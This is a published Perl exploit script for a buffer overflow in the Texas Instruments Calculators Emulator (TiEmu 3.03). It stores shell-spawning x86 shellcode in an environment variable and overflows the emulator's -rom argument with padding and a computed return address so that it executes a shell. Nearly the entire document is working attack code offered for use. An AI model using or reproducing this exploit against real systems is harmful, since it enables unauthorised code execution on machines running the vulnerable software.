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Texas Instruments Calculators Emulator 3.03 Buffer Overflow

Posted on 26 April 2016

#!/usr/bin/perl

#################################################################
#This exploit uses command line arguments for different offsets #
#So it can be tested on different systems *NIX Flavours #
#################################################################

##########################################################################
#Texas Instruments Emulator exploit #
#Version: 3.03-nogdb+dfsg-3 #
# #
#As discussed here previously: https://www.exploit-db.com/exploits/39692/#
#And here https://packetstormsecurity.com/files/136679/Texas-Instruments #
#-Calculators-Emulator-3.03-nogdb-dfsg-3-Buffer-Overflow.html #
# #
# EMAIL -> n_a at tutanota.com #
# #
##########################################################################

$filename = "usr/bin/tiemu"; #path name of the binary
$shellcode =
"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0xb0x0bxcdx80";

#Calculating the return address of our shellcode
$ret = 0xbffffffa - length($shellcode) - length($filename);

#Try different offsets
$offs = $ARGV[0];

print "
***Local Exploit for Texas Instruments Emulator***
";
print "		By N_A

";
print "Use: $0 Offset

";
sleep 1;
printf("Ret Shellcode 0x%x
",$ret + $offs);

$adr = pack('l', ($ret + $offs));
$buff = 'A' x 96;
$buff .= $adr x 6;

#Set buffer in local var
local($ENV{'NNN'}) = $shellcode;

exec("$filename -rom= $buff");

#eof

 

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